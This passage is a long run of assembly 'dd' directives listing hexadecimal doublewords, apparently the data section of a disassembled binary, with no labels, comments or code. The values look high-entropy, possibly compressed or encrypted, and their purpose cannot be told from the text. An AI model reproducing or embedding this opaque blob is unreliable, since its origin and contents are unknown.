6D5C87CAh, 1A511E03h, 48228F0h, 869D55B8h, 26CC8875h dd 808014B8h, 302E1631h, 0E141246Ch, 0D05080B1h, 1C6974D1h dd 0A78C816h, 11BC706Ch, 544380A0h, 87DCFC0Eh, 54EB4901h dd 5870DAE4h, 0B274445Fh, 0BC4CE65Ch, 0F5008C81h, 8AB64E8h dd 0F9074B19h, 0C77656E4h, 0C2AEA8D8h, 64645E46h, 0A6024046h dd 0F81130BAh, 35000CC7h, 1FABBA9Eh, 16200ECh, 0FA92AECEh dd 4496AA9Dh, 7DF57A06h, 85DF31D8h, 0F5F92BE1h, 4108253Dh dd 47970570h, 1806C1A0h, 87F09E7Dh, 13BD602Ch, 0E49292F1h dd 0BAAD3005h, 0A0112B11h, 3A802888h, 778BAA5h, 17F84AE7h dd 104C2FC8h, 87DF8480h, 896FFF95h, 48C764C2h, 23606C44h dd 0B0738CAAh, 6FFE3C00h, 37E2C87h, 7B1CEA5h, 0F460E024h dd 7811C794h, 742A874Fh, 0C5FD0AA0h, 95B070EAh, 277FAC1Dh dd 7800E1F3h, 9EC20EBBh, 0B126B0A3h, 4674CC93h, 97DB2E4Fh dd 0DC82BC07h, 0C45847F9h, 0CED06067h, 0B15C1E9Bh, 211BD66Dh dd 8C7FDF00h, 1E42EC29h, 0FFDE0022h, 58032E45h, 9E4C30BFh dd 79F010DCh, 10703129h, 0B8ECD077h, 85434Bh, 958E42EBh dd 92577B0h, 0FB7E57D0h, 270D68C9h, 0B8D0581Ch, 7844383h dd 0C40451BCh, 30405A97h, 8EA948h, 9402F163h, 1B9217DAh dd 6BE4A8A5h, 0A09EC560h, 0F725D300h, 0ABBCBE1Eh, 0BA410361h dd 0C0F9389h, 12B8E948h, 0C019B01h, 6D14DE63h, 0E817D0A7h dd 60854C88h, 69C7B04Bh, 35D3821Eh, 82C015D4h, 471889FCh dd 655F448Ch, 0CFD97380h, 67500B45h, 4CA91797h, 26E4C445h dd 9DFEA560h, 180DC22h, 725E0631h, 0D859C889h, 861E6FD4h dd 1C2492DDh, 2C80EC91h, 49FCABCFh, 37C00899h, 14B3CF35h dd 74137EFEh, 10277119h, 86121092h, 40CD00A0h, 9909A86Dh dd 1E293EEh, 971B8F2Dh, 80791174h, 0ADC33FB8h, 197560DCh dd 7B41B7FCh, 335F3000h, 89495AE8h, 0C6470044h, 0A32550ADh dd 0E916EECCh, 0AC207ADDh, 4A8A7Bh, 0B7FA79E0h, 0A224AADBh dd 7A1FA491h, 9500F8AAh, 16B5B245h, 6BB999h, 0A573C1C2h dd 0D2C4C53Fh, 0D8A97E01h, 7CA0201Ah, 31CFA874h, 7741FB98h dd 428FE9BFh, 2B30E5B0h, 0FCA612CFh, 88B21h, 4ACF3830h dd 7F43ED57h, 70D018A1h, 0CE9FA19Bh, 6201DA00h, 98B92EEFh dd 82E4B4FEh, 7B469DFDh, 9651A800h, 201C986Eh, 5D031660h dd 0F4E884C4h, 34100E75h, 0D053F3DCh, 0FD7DD9F4h, 46C92A00h dd 0CEF9BE05h, 0CA010BF4h, 27F89F6h, 6351F32Dh, 2486D9CDh dd 4B4B1AE0h, 23002F69h, 813A0082h, 0B859A90Fh, 7A14D54Dh dd 727D401h, 0ADD8AE45h, 0E842DC25h, 3CB44471h, 18EF09F8h dd 838C904Ah, 0B9C8F0A3h, 200A3D91h, 5E4194F4h, 0BA3603F8h dd 2028B0B8h, 0E72D6A93h, 0BF389785h, 0C560046h, 0B6C998F8h dd 85710B1Ch, 0A061F6C5h, 6CC880A5h, 562E7F9Eh, 0D0021DC3h dd 5826E015h, 4674D4C2h, 9FE2004Dh, 0C86941DAh, 9671307Ah dd 0E93903F9h, 0E0116100h, 748AFFF7h, 0E3D501CFh, 14931F6Bh dd 2DB42580h, 4CB8B0h, 729DC7CCh, 98C0D67Eh, 1892F476h dd 524058B4h, 1DAA5Eh, 15463836h, 0CE4B3410h, 1805A424h dd 7FD68900h, 0EE5CBEC7h, 60A00312h, 9F35C56Ch, 75580AF8h dd 847F10C0h, 18BEE17Dh, 30C8592Eh, 400A781h, 133EABA0h dd 66467D41h, 21B00803h, 0A00D091Dh, 0C274D1C0h, 0ECEDAA5h dd 5D54DF6Bh, 2958FC8Fh, 8300750Dh, 0B49599CFh, 3013C7DBh dd 0A1998285h, 393E7DEAh, 60A29CF8h, 8CA3030Eh, 0BC2164h dd 1DD97DF2h, 0E835E9E5h, 88D0830Fh, 623CA317h, 0E7280081h dd 71D22A04h, 68C1EF7Fh, 5E0E3F76h, 5CD42083h, 91785FB2h dd 42379E0Eh, 9D3860F0h, 0CC203FC3h, 0FD21D208h, 53422F00h dd 0D5FBB40h, 87B1B68h, 0BCCB41C4h, 0CE95291Dh, 0ABF838C0h dd 7D3DD41Ch, 22F60CDDh, 0B6C17585h, 0D29C1200h, 8C9DA04Eh dd 1ACD017Bh, 8048A646h, 0E88425Ch, 87DEF30h, 0A303F834h dd 0C1456D64h, 58D606F7h, 4B0091B9h, 8F340D3Fh, 0EC6BA24Ah dd 0A6E8C6h, 5AFE58D3h, 2857E1A9h, 0D440BC3Dh, 0E1F6B98h dd 0C45CC059h, 0DF62D340h, 692883Bh, 0E0B9C340h, 0A0C87118h dd 7DEDC010h, 0D356F83Ah, 6522D8h, 0DE7DF5BFh, 4631759Fh dd 4536790Eh, 2032A2BAh, 40384274h, 0C2B4C469h, 0C25FAA78h dd 0C63AA8A0h, 9B067F8Ch, 0BB5E4999h, 85880319h, 25AEC0E3h dd 97F9F6BBh, 4809E0F9h, 235C4248h, 0A007002Dh, 40FB3EA8h dd 6B54486h, 2CA0101Eh, 8D594EC3h, 76180CBFh, 57719A45h dd 97946354h, 0BACEB41Fh, 8CA3778Fh, 0E8061946h, 5F5630F5h dd 88A73C11h, 0CDE60901h, 0BDDDC2A3h, 21720898h, 6C98AF22h dd 40E93001h, 0C3F56B7Fh, 29E59183h, 7EE18D2Ch, 0D023DBE7h dd 0A00B0131h, 18DB3EA4h, 140288AEh, 5701FAB0h, 0D57E42B4h dd 79806C56h, 94F7709Ch, 0F800AA1Eh, 1A557A71h, 1E90A028h dd 0C52FD0E6h, 61440Ah, 3E3B08CCh, 149A6042h, 1EB40B03h dd 7057B1h, 16D16E51h, 0F104E521h, 30A54400h, 54E44BD9h dd 0E3C301B2h, 0E72FF8A4h, 32C89141h, 32A00887h, 0AF31F33Eh dd 0A0110510h, 2D03FC7Eh, 539689E2h, 0C0B29869h, 29070102h dd 1A04DD46h, 77F420B7h, 0BC141C92h, 0FCCC4E43h, 33038C71h dd 1C424626h, 56F81864h, 0AFC32165h, 680049B8h, 8AA875B2h dd 36344CA6h, 709879C9h, 0A402F246h, 0D5E60C88h, 21107831h dd 0F0F88ACh, 801953C4h dd 420204DEh, 3E0C183Fh, 544CD8CFh, 60973D30h, 2632F7FCh dd 84DC5E5Ch, 80B678D9h, 0D537E09Ch, 6C9BACFAh, 0DB1F3917h dd 6C670853h, 320380D8h, 0BC07DA42h, 6B6FC61Ch, 83C5FD48h dd 7E793440h, 10A87848h, 0BC01C706h, 40DF9229h, 0F4F09166h dd 0A88A680h, 87C5E6h, 6588AE23h, 0DA0085D6h, 72DB306Eh dd 50FE6C11h, 742C3CBBh, 0C16B8191h, 3E1982C7h, 0A702554h dd 15F90E38h, 16A0627h, 0C303E850h, 5820020Eh, 448940C3h dd 0CC810424h, 40211809h, 76C35000h, 425A55F1h, 418D1409h dd 57232621h, 44C35F0Eh, 1C627C89h, 0C3574720h, 7E4C38DFh dd 74E9B88Eh, 5548760Ch, 0C35D398Ch, 886C8911h, 55458019h dd 582B5EC3h, 1AE22903h, 99FABF0Fh, 258C2086h, 0CD0B06E8h dd 8D854803h, 0AF898E6Bh, 18BE1026h, 2509E95Fh, 68F41E3Eh dd 38B004F2h, 7E5C557Eh, 40F5714Eh, 24294460h, 1A74670h dd 4F2E961h, 0B5110A80h, 0FE83B045h, 38E78E01h, 7BA84DBDh dd 0C300FA3Bh, 0F1A64FBFh, 0FF074EBAh, 0A8FA3884h, 38A80009h dd 0F565C65Dh, 0A7B71D20h, 9E0B401Ch, 45F77816h, 0E7864F00h dd 3204C696h, 3CED309Dh, 446D6F52h, 4175E501h, 0DB0D94Ch dd 4240AE3Eh, 0AD1D9D96h, 0D85B00C8h, 0B6352E68h, 63005046h dd 0B8286EDEh, 1C497E31h, 8A647AEAh, 0E024BC39h, 4EBE3EF5h dd 0FC78A700h, 71A51570h, 83B3009Ch, 9D99096Eh, 0C03EEF96h dd 81448C07h, 0BA4158h, 0D7D9A350h, 4152CECFh, 98876E02h dd 0E16BAB1Bh, 28833C1Fh, 29208F26h, 97A8E7C0h, 0B2704C2Ah dd 3E24602Ch, 0BFE45F03h, 0BB2E09F2h, 958CFDDFh, 0D900EA11h dd 2E858DAh, 31212897h, 24481A9Ch, 1980170Dh, 0C2B9Bh dd 0C9B13D1Ch, 967E6CF2h, 39C52401h, 0A5EC57B8h, 77485389h dd 0E8138155h, 0B8B93E78h, 0DD5C5500h, 4E63296Dh, 0B78EEF0Ch dd 5E593392h, 220C0048h, 85EC84B2h, 9B985A00h, 46C3A717h dd 0A2730EE3h, 24782E8Dh, 3418F89Dh, 431A624Fh, 5A0744Ah dd 0B5979F0Fh, 13B5007Ch, 2DDE8CA3h, 5A5CCC1Fh, 0C7F68Eh dd 0D7831282h, 9C3500FEh, 93193A74h, 0D137F8CBh, 8BB190D4h dd 70E032DFh, 178C60D5h, 4DF363E2h, 80537C3Ah, 24045C79h dd 0EA8FA9h, 36B77416h, 0F8D747AAh, 0BA06498h, 0E060B8E1h dd 0C232B63Eh, 557D5Eh, 5478DF79h, 1F9A705Fh, 4499B00Ah dd 0BF24BB7Dh, 8009BB22h, 0DF3AC624h, 810AC3DAh, 9BA1E85Bh dd 8F7B4C80h, 318CA5h, 0D259D5C1h, 0EE5EDCEBh, 9A180700h dd 3522EC2Ah, 6EBC00CFh, 0A8421E7Bh, 9D00056Bh, 87E48965h dd 13454017h, 0FCFE06Fh, 0DB20C6CFh, 0B0E656D6h, 802BDF06h dd 229C762Dh, 0A7403B93h, 53600156h, 309581F1h, 1171E089h dd 68D4A112h, 61550D00h, 0CA5A7Bh, 2241E3A5h, 0F31B8A60h dd 0EFC25D60h, 6092312Bh, 1D2E114Fh, 9B0C426Dh, 74C94BAEh dd 0E50144D1h, 5900247Ah, 7FE7445Dh, 782C9051h, 1F7A00CDh dd 62B18601h, 0BC79C9F3h, 5668471Fh, 2B6BDB80h, 0E06152h dd 0A1494670h, 0B6299073h, 74F73C00h, 48A56604h, 6D3D03D8h dd 8BFB7DC9h, 0DFB28Bh, 564A37Ah, 0A00D4F4h, 30DA4AA9h dd 28F972Eh, 8E169B76h, 767D79BDh, 8C25140Bh, 0EF048839h dd 0EF9366AAh, 6C0C36FCh, 0B013C209h, 0F100D6ECh, 0DC532292h dd 6A7EF5Fh, 6DD839BAh, 559F2724h, 731A5A82h, 88F8F780h dd 3502B8EDh, 0BB9DBDAEh, 0CF8FA409h, 80A1A8FAh, 44A6ED5Dh dd 0CE275D4h, 0F6529EFDh, 0DA00EBACh, 40C1F2DCh, 13F93AD0h dd 0EA6B0A7Ah, 70DA1B0h, 3BB945A4h, 0DDF210CBh, 7F00FC2Dh dd 981A070Fh, 0CF5EE28h, 150E0878h, 1B98FEBEh, 0E7CEBB00h dd 0FC6CCFF8h, 218C1819h, 4CA7A41Eh, 550005E1h, 0F22AC030h dd 0DE0E2CABh, 3C125Bh, 0F6BF9067h, 0A8671409h, 51D76AC6h dd 73CEAFD3h, 0A70C001Eh, 0D3E0D646h, 0B900FD6Dh, 98FFEBC4h dd 1C582925h, 93481628h, 7A55061Dh, 5F63B57h, 3336651Ah dd 0E9AB4010h, 6CA8320Ch, 9D908497h, 6007040h, 3C0D169Ch dd 128AE9FAh, 1A47B1Ah, 3A64DFEAh, 0C2CC40E7h, 29FE6857h dd 0B11F4890h, 2040380h, 138004B4h, 0EFEDE3Bh, 8C9D108Ah dd 841A9984h, 82F9EF00h, 1CA8FC01h, 0D4189B88h, 0AC00E387h dd 5DA94D01h, 1CF451DDh, 80BD9284h, 68AE1EA1h, 0A612B897h dd 6F002C8Dh, 0F44FE585h, 16B1E865h, 0F7DB61Ah, 0EBE3DC9Fh dd 0D6271E0Ah, 9060D5BFh, 0D0001FE0h, 7EB2E79Eh, 7BB68D51h dd 169F005Bh, 0C251122h, 562C3FAFh, 0BC01ADC9h, 0DACD6839h dd 2C7CE3E4h, 40C77651h, 4D6650C0h, 8D5FEB2Ch, 607E9CBFh dd 2982C780h, 4C6956D3h, 6F00E558h, 0AF989E0Eh, 85000126h dd 0B6FDADA6h, 49D1C535h, 0D6007CE0h, 479C43EAh, 800B75Eh dd 6AD43CBFh, 27D28B90h, 0CAD77161h, 0C40A62BCh, 0FFF34E8Ah dd 0EFB42ECBh, 14C71EF8h, 0B5E23724h, 830B07C2h, 1C8766EAh dd 10525C2Bh, 7F27FF6Fh, 0EF90E6C5h, 34DDDFh, 0B72FB3B8h dd 0D800F713h, 5606E0C1h, 31953BEh, 0F0290C1Bh, 42C3685Eh dd 0B724A138h, 0A62F6283h, 488150h, 70713E72h, 5108468Fh dd 77C9B973h, 31D58501h, 8B591102h, 84509434h, 8B538106h dd 89536A81h, 57C381E3h, 1C106866h, 7F7BE900h, 7C0CFFFCh dd 1D4B4600h, 32B84C56h, 0FF184EFEh, 0F5454FD0h, 0E74D006Ah dd 363F760Fh, 77002AB8h, 4969E1FAh, 728BF58h, 1EFFBE68h dd 0DCA09F08h, 2D384C20h, 1D802700h, 9821446Ch, 0EE3700CCh dd 4574FF12h, 8007D06h, 3EA0A24Ah, 3ACD7EA9h, 0C5803D78h dd 2F38E833h, 0E1071021h, 19702409h, 518014C4h, 5913299h dd 0D7155D77h, 0A89E009Bh, 0F20C8CF6h, 3B9AC307h, 33C0B27Dh dd 0E04CDCh, 50F1BC5Eh, 5CF31E56h, 588B3E07h, 0C1411739h dd 5622860Fh, 0F8BF1476h, 9449CEBh, 7E822F2h, 2C1EB705h dd 21C0217Bh, 0EBBE66h, 858D5FAEh, 615279Dh, 504E90F8h dd 51F388FFh, 5E616012h, 6ADC961Fh, 9FE303Ah, 0D908F9BDh dd 0C18F4438h, 0DCBED819h, 20C0330Eh, 65056983h, 6019E47Fh dd 0EA8EBFB6h, 666A0301h, 8A49D781h, 0F98B62EFh, 5A657D4Bh dd 2F215604h, 89C8C35Eh, 15448C74h, 0C3561646h, 0AE05FBCAh dd 2308F9EDh, 0C35BC353h, 185C8991h, 5343881Dh, 870FC339h dd 0C145FF2Bh, 79111B30h, 4BF27C8Bh, 93855083h, 60D6910h dd 267995FFh, 0DB7EC10Ch, 0F99D8D87h, 895E209Ch, 0E4ADB53Ah dd 0D2B2D32Dh, 0C83017F2h, 0EFE20C7Ch, 0DA1910E9h, 8069373Ch dd 0ED5B6489h, 73EB516h, 0D68D7E4Dh, 0C695C5C3h, 853A79B1h dd 81A5E035h, 252AD0E6h, 0DC8671E9h, 5DE055E8h, 9955EDFEh dd 52AC91FBh, 22C35A87h, 1A315489h, 0C3524210h, 2BA5FB00h dd 0E6F12939h, 0FFE70781h, 6233FD99h, 2F49ADBDh, 416225D0h dd 5018878h, 16232B3Ah, 581F2204h, 0BD2A2297h, 0AB922713h dd 0C3593051h, 4C5289E4h, 51418427h, 0F85FD880h, 88A09089h dd 0E0E381DBh, 4D23E101h, 43301AB2h, 0C17B060Ch, 0F2152A55h dd 310825A4h, 322D4585h, 2CE1F1C2h, 237EB40Fh, 97DFD800h dd 0C012E9FBh, 59427015h, 48007DC6h, 734BACD5h, 0F9D613h dd 0F6C979B0h, 65BD8312h, 6C18FF30h, 0DD11840Fh, 0F6B7813Fh dd 818BE9FCh, 95295213h, 8885226Dh, 1A85C75Fh, 7D1DF81Eh dd 0EA801911h, 15B3C6B7h, 8FBE2B02h, 6017EBDEh, 2962E754h dd 0D92F4AE9h, 33181Ch dd 0AAE2990Fh, 0A9FAE14Bh, 0E934BDF2h, 6327C817h, 8352BF08h dd 9750D400h, 0F0EB4178h, 4A65222Ch, 0C17A5E00h, 486259A6h dd 9AD0268Dh, 2381F903h, 3997FEFFh, 0D7812F37h, 8E0F2945h dd 0BD894A40h, 90209A6Dh, 0ED8DF0C3h, 8C66C550h, 78B69BDBh dd 0A50972C9h, 0E43AC63Ch, 292002E2h, 7DEF1DDAh, 18096360h dd 34205F81h, 0DDA414C7h, 195085F6h, 72418A75h, 0D52BA1A1h dd 8A1817D1h, 7AE33818h, 751BD666h, 90EEC97Dh, 0D9E99A81h dd 4702350h, 38B3FB58h, 60326380h, 0AAB9005Bh, 1571E30h dd 0C8263C27h, 4674F090h, 6F5B001Ch, 0EC9613Ah, 0BCF52884h dd 0BB920B9h, 934FE92Ch, 795874A3h, 4CE30CCAh, 7F190AE8h dd 0A6108E0Fh, 22D3C17Ah, 26614F36h, 0B05F22C2h, 14913797h dd 26D31D8Ah, 17DDC24Bh, 0C070E603h, 0C50379B5h, 8E71E410h dd 0C015883Dh, 0E9605E09h, 0AF170560h, 621BABB1h, 0C41703Dh dd 0B60F6100h, 142FB2D8h, 4CBA205Ch, 0F6F6E5Ah, 0C03EA10Eh dd 0B3A8EE9Ah, 1D0C437h, 0C3921D08h, 1423003Ah, 0BF0BF126h dd 69A298F9h, 934B008Ch, 5E26539Ch, 0C102FA8Bh, 0F76604E8h dd 70F5DBE2h, 37175C30h, 104EDCBh, 2B050119h, 2F66FD8h dd 5093F9FDh, 0F79D4052h, 5A31190Fh, 100E9A58h, 41F427h dd 16C87F4Fh, 2F59DD9Ah, 0EF5E330Ah, 0CD40E1E8h, 3E065C51h dd 3FFE530Ch, 0BB0935Fh, 8E9141Fh, 2E1B6600h, 35253F51h dd 5E8AA039h, 0E0B558FFh, 210A0492h, 9D89012Eh, 0CA80A75h dd 0C73FA267h, 601B441Eh, 38872Ah, 0D5926D76h, 9585090Eh dd 95622649h, 6DAC26h, 0C43E1A46h, 0E6EA6BCh, 27B9B2C4h dd 5F013C09h, 0AD025283h, 92679034h, 96A001C6h, 0AA903950h dd 4E7325D1h, 0C01888A5h, 14759F9Eh, 3A60E626h, 122BA03Dh dd 7461D98Bh, 882DCB98h, 0C1A8C01Ch, 350279C4h, 23CB8DE5h dd 5987E060h, 0DD618122h, 0F0B466C3h, 1CC61C7h, 2AD9ECEAh dd 25FCBC01h, 911C6091h, 0B5C91E61h, 0CA923DDh, 181DF99Dh dd 1237F3Fh, 0E2B9E30Dh, 20EA078Ah, 80520F9Ch, 0B5230992h dd 58392409h, 1988368Eh, 0A5EC56C0h, 0EBA83136h, 402D9BCh dd 0C54768Ch, 631970CAh, 40208881h, 0F28B1E01h, 28A4D52h dd 26A9282Dh, 1DA52BB9h, 8018113Fh, 80BED1DDh, 547D90A3h dd 7083A7FDh, 0D93B04C1h, 40FE860Fh, 0C274D781h, 15225C58h dd 20C9987Fh, 0F62C2D99h, 0C091E3C1h, 1638BD4Ch, 0F9362B8Bh dd 0D6ADEA14h, 0D34E7960h, 29160A09h, 8A28120h, 5B0F10F5h dd 4D37360Fh, 5C84DD7h, 448D8501h, 9BC32BDDh, 4863C0E9h dd 317CF4Bh, 0F687D890h, 0FBD17ABFh, 3D2C7058h, 0A6083425h dd 833D3F30h, 831751E1h, 5F441AB8h, 0E92C7198h, 0FC5A50h dd 7BC9B448h, 5C3058ECh, 89340588h, 0A2EE23C0h, 0B8DE301Ah dd 8847C901h, 0F38B7B57h, 0D844DFCBh, 1B88338Eh, 7402AAC0h dd 4DA00963h, 15817140h, 0C7585h, 2846DA80h, 88D5C761h dd 256D5DE8h, 0D1B75B26h, 23C0102h, 0DFBE90E8h, 1F390259h dd 668991E9h, 100F30E1h, 7B042086h, 8D1E00E5h, 0CC306876h dd 0EE053B8Bh, 615E507Fh, 0D2C0D70Ah, 1194674h, 112D9EE8h dd 0A560331Bh, 704B9CFAh, 9E15185h, 7AB6A2Ah, 0E1ED7CC9h dd 0CC81EFE4h, 0C6390561h, 61763741h, 0F81A30E0h, 7E29DC02h dd 0CC131B31h, 44D187CCh, 92CF601Ch, 1BC6024Fh, 98945D4Eh dd 0F36C93EAh, 4A7020BBh, 0BD090C87h, 9046254Dh, 5F1261B9h dd 1523873Ah, 582AAE39h, 9A109260h, 14C20097h, 7CDFA005h dd 0E2B1E82Bh, 999F5207h, 5EC1C230h, 0F8033AADh, 55B50B09h dd 3D2749AAh, 0ED6E4Eh, 0BF8B30FDh, 0E80BF54Dh, 2C7B28D7h dd 198D2EE1h, 0D50CB130h, 1A92620Dh, 0A0D0491h, 32ABBA8Bh dd 0DF1B78h, 733AD1C1h, 96FFBEF9h, 0E97D2112h, 0C4E23FD4h dd 1458D002h, 0F558E2DBh, 89BF9202h, 9D28CD85h, 80141141h dd 47BE502Ch, 229D1202h, 23693A5Fh, 6C560A15h, 34550887h dd 0F6B3E904h, 0F9A0B3E7h, 312A3F4h, 5E441DBDh, 8D8EC18Bh dd 90C51488h, 0EC4DC1B6h, 93009ABCh, 295AECBDh, 0B609A58Dh dd 39F18B18h, 3148D766h, 21D20E6h, 60CABF50h, 8FD8472Eh dd 18ABFFE7h, 0FD4DD576h, 9B7A5AD0h, 4A97BB19h, 5812FA3Dh dd 4203B689h, 370B0BC7h, 724280E8h, 0A99ABA10h, 986CED0Ah dd 0AB27F7CBh, 90296038h, 0C8524C50h, 89310F1Ch, 41D30C8Fh dd 16AB2683h, 5EE1F9EBh, 0BE007F2Ch, 42CA79A0h, 0BD242990h dd 0ACB4AF01h, 80C3309Bh, 0A2105348h, 5E011E7Dh, 0CA0FBE66h dd 0A70E776Ah, 32C06E0h, 91810077h, 6056B851h, 0A134BD2Bh dd 4A856619h, 0A061BEB4h, 5E7D95DCh, 3A337510h, 51623D5h dd 0E3C846BBh, 40C2484Dh, 275E8999h, 992E4F34h, 0A8141423h dd 2E591797h, 2541379Dh, 0E900161Dh, 38BC089Dh, 840BD158h dd 7660D88Dh, 309D01F2h, 0BF68144Dh, 8C2F832Bh, 45381E47h dd 0FDA741D6h, 799D111Dh, 88B10B0Dh, 0A514C01Ch, 10052AAEh dd 3672A082h, 2DA9EF05h, 74D023E2h, 28C18A8h, 0C75A487Ch dd 63DAE871h, 0D14A5D00h, 0DD77FF8Dh, 0BB4E4814h, 30496A03h dd 82FC3BE7h, 8DA5F123h, 1B2A25Fh, 56AED9F8h, 19C0BD9Fh dd 1C27AD3h, 136C6E34h, 79E72E99h, 9FD62D46h, 801D11D3h dd 0B6F9F49Fh, 7C1427DBh, 0BD83EC80h, 195E0A26h, 352E4F4Dh dd 0E5C06F5Bh, 95291502h, 1843D549h, 0BE23ABE9h, 0FD3C0557h dd 1085C744h, 3B5EC53Bh, 1A233Ah, 711E190h, 0EA05AA3Bh dd 5880F52h, 18B93800h, 0BC5F7FA1h, 21A84038h, 62006D86h dd 0FD735DE7h, 1128B25h, 67CDE644h, 2C52E901h, 8C1AF83Fh dd 53D31803h, 9DFD8D2Fh, 2C0A7627h, 1B4676h, 26C94935h dd 2C1AC8E3h, 125B0FA0h, 0F898328Dh, 95A58DF3h, 801D9127h dd 0FE63EACDh, 0E5E30099h, 8174666Bh, 44172EEFh, 86850367h dd 2AEDD904h, 6554C816h, 516E4BD7h, 0F145205h, 8CAF287h dd 51195B5h, 0D4CD9D09h, 0B99B3D2h, 0A519B533h, 0E48150EAh dd 0D265F47Ah, 1488800Eh, 0C7D20AC5h, 0EDE90120h, 886A4E03h dd 0AD3EC01Dh, 0DA02EB63h, 0C40A36B7h, 11F3C1C8h, 0E0B0D992h dd 0D9055ED9h, 70E632B7h, 1D184085h, 94820F20h, 55E99436h dd 880E83Dh, 0E04AE2F9h, 0A500D1D2h, 5B8A8E19h, 0BFB1F39Bh dd 71E49340h, 5E78E493h, 66CF3FD2h, 1A68DE8Bh, 6DCDB842h dd 0F9F6DE1h, 0BCC46FAh, 1D7E2EFDh, 0AF3DB642h, 6D8F1080h dd 0C9DB11h, 0B3CA29B0h, 241B52Bh, 0A18BED94h, 0B655C604h dd 0CE06D421h, 92CD73ADh, 0BF12050h, 662EBC9Eh, 81294BDCh dd 217FE4BBh, 6809D9A5h, 91E88BD7h, 8B40A9B9h, 16DC1E3h dd 0A6F2B63h, 0DA5EB453h, 17D13A79h, 0B91F0A18h, 0C6C1D1DBh dd 272F1B4Fh, 299DF70h, 8976DEF6h, 31CD241Ch, 0B1DC60E0h dd 0A42A027Ah, 640CBEA5h, 84BC8A71h, 73CBAFD2h, 500B68E3h dd 393DB05Eh, 0F1BED002h, 0EBFE40F9h, 93A190C9h, 0F6A078DCh dd 1106AB04h, 9E85F13Eh, 0F1033EC2h, 1E5884Fh, 10136325h dd 5522D122h, 68D94792h, 66E68180h, 9143D1A2h, 9D298676h dd 4BA15771h, 49128850h, 405F1211h, 0BD31602Dh, 16DD0E09h dd 0A96719EEh, 6DB9A4A0h, 985A008Bh, 41560839h, 450135D9h dd 0B196E1CFh, 4BC6619Ah, 778A9E29h, 0F11C91BBh, 4FB1819h dd 0A0EC8334h, 827085BCh, 0A6FA2FF4h, 45F7BC98h, 0C0F7DB8Dh dd 78BF3C93h, 0B2E2D7Ch dd 0BC02E093h, 835D4BC7h, 649EC7C1h, 14566017h, 0DA1B51C9h dd 0C170E069h, 0ADBD33B1h, 0F55F2B10h, 46747FE4h, 800A0218h dd 0D955F37Fh, 38DCACBAh, 8B066C45h, 7BBF8Ah, 63688F65h dd 0D9591DF4h, 0C0139488h, 7824B00Eh, 97140044h, 374640CCh dd 163F5285h, 8B31968Ch, 0A5B0083h, 0C32BF008h, 0A6E705B7h dd 22DDB6D3h, 0BE660332h, 61E9A221h, 0E8B3C34Ch, 0D6008C1Ch dd 0DEE026F4h, 1EF9CCh, 28D5BE3Eh, 0C08B0B6Eh, 0DCC9B4h dd 333945E7h, 8CB8AB20h, 0F18CE84Bh, 8D951029h, 2588500Ah dd 6F5B697Ah, 13E9E246h, 10A5002Bh, 0A9071F37h, 330050F0h dd 0B30C7B29h, 0E85A4CFBh, 0ED2D5CE9h, 0D34C904Bh, 305C081Fh dd 0C2F732CAh, 80C1DCE8h, 11D3560Ah, 3B005901h, 108712B4h dd 0B65F81B9h, 0AF66797Ah, 9373Dh, 0EB69274h, 192530BBh dd 0C47F10A3h, 7E4E002Ah, 4822E508h, 0ED7F6C30h, 1E185B05h dd 8CB7DA0Fh, 1BE2E552h, 2FE7F30h, 53C9BC9Dh, 0CD60337Dh dd 5B3AF05h, 0EE163428h, 6DDD3090h, 1588874Bh, 825B2EC2h dd 0E190FFBCh, 7AC27D9Eh, 719960CCh, 0C6D9D31h, 174433A7h dd 58973060h, 0C0B1F548h, 88A2BC60h, 5E5D00A8h, 0A6826611h dd 0DC1C4D84h, 2718CBECh, 5A59F6E8h, 0AEC6E34h, 0B0870FA6h dd 92C0449h, 4351625h, 0E0AC51Fh, 1612160h, 0A6381D8Dh dd 49B7B11Eh, 0FAB7F98Bh, 95578280h, 28014208h, 0EC1F8A0Fh dd 0B3FA59B7h, 831CDDBCh, 0CCC554E7h, 781FE86Ch, 0C817880h dd 0B67DFD1h, 11A55943h, 1085F287h, 474D31F8h, 0F4BECC03h dd 136EBAF7h, 527D8D6Ah, 0E0CFF67Dh, 1663DB43h, 4BC7BF9h dd 52325E6h, 97EC6EE9h, 6D858904h, 0E75B880Ah, 8B2440F6h dd 4674CEC1h, 68EB1915h, 0D255616Ah, 824A6AA3h, 437C2F7Fh dd 730B9E4Ah, 24D6627h, 1B02DE81h, 0DDE00BB5h, 0A7250E83h dd 37B8957h, 5ECFB8D1h, 0F426E9Eh, 8067EA69h, 0BF3A5551h dd 8D0F26E2h, 0BDE9448Eh, 0BC8F0073h, 42980DC3h, 0AD4901F1h dd 47248D34h, 62446A7Dh, 0C3241A31h, 0E6B5193Dh, 0E041E14Eh dd 0B2E50103h, 8C0F1257h, 0B85267A4h, 7380F54Bh, 3882BF5Fh dd 4B5265Ah, 8B34F36Dh, 0C019886Bh, 6CC51EAEh, 0CBE03028h dd 4AE77935h, 6A00036Fh, 0C611BEF6h, 0FCA1135Fh, 0F60825C1h dd 3878F07Bh, 1AC60C9Ch, 74581BBEh, 5875EE5Bh, 0B1A099B6h dd 0D324F28Eh, 4538034Dh, 0A8D16068h, 0D2010EBCh, 0D527205Fh dd 0EE41D3FFh, 5D6D1CE5h, 80DA9BD2h, 63D26A1Bh, 284580A6h dd 27036080h, 0F219DB5h, 52985h, 0B636E961h, 165C708Bh dd 0B9E96080h, 0E5D90026h, 374A9339h, 0D72D8798h, 45739E61h dd 22425746h, 0F650699Dh, 752D2E90h, 994C9617h, 181A7116h dd 99BA1E59h, 0E225C1E7h, 0D711B529h, 20485C5Ah, 83FC81BAh dd 681490BDh, 0B3A592FCh, 7DC0E71Bh, 94D0B25h, 0DCC8D84Bh dd 3A1B3B12h, 962B76BDh, 8093D030h, 5AC06E0Bh, 0BCBC8D4Fh dd 14AC1F69h, 211E588Ch, 17294110h, 0BB7E44E9h, 68672E00h dd 0AA4FC60Bh, 81F8F625h, 1126F7BBh, 25C25B49h, 0F9E08360h dd 0F5302FCh, 5A0E8188h, 16238D61h, 9919BF02h, 0F2D13590h dd 6D0E6097h, 204E1061h, 56DFFA1Dh, 74739E00h, 0A2B22F52h dd 0B592056Eh, 0A161585Fh, 0F14A66E3h, 6E29E9F9h, 3DD53B00h dd 3A28817Ch, 9E7D1409h, 44CE8BA8h, 0E15A470Bh, 0E574AD48h dd 0A9898217h, 1FC65892h, 82423B00h, 1EE9C2EAh, 45E42Eh dd 94E6FDBAh, 0C7B96E2Bh, 56E8660Eh, 99CC325Fh, 61D805BEh dd 0C39075B6h, 5E8B5095h, 164ABCB4h, 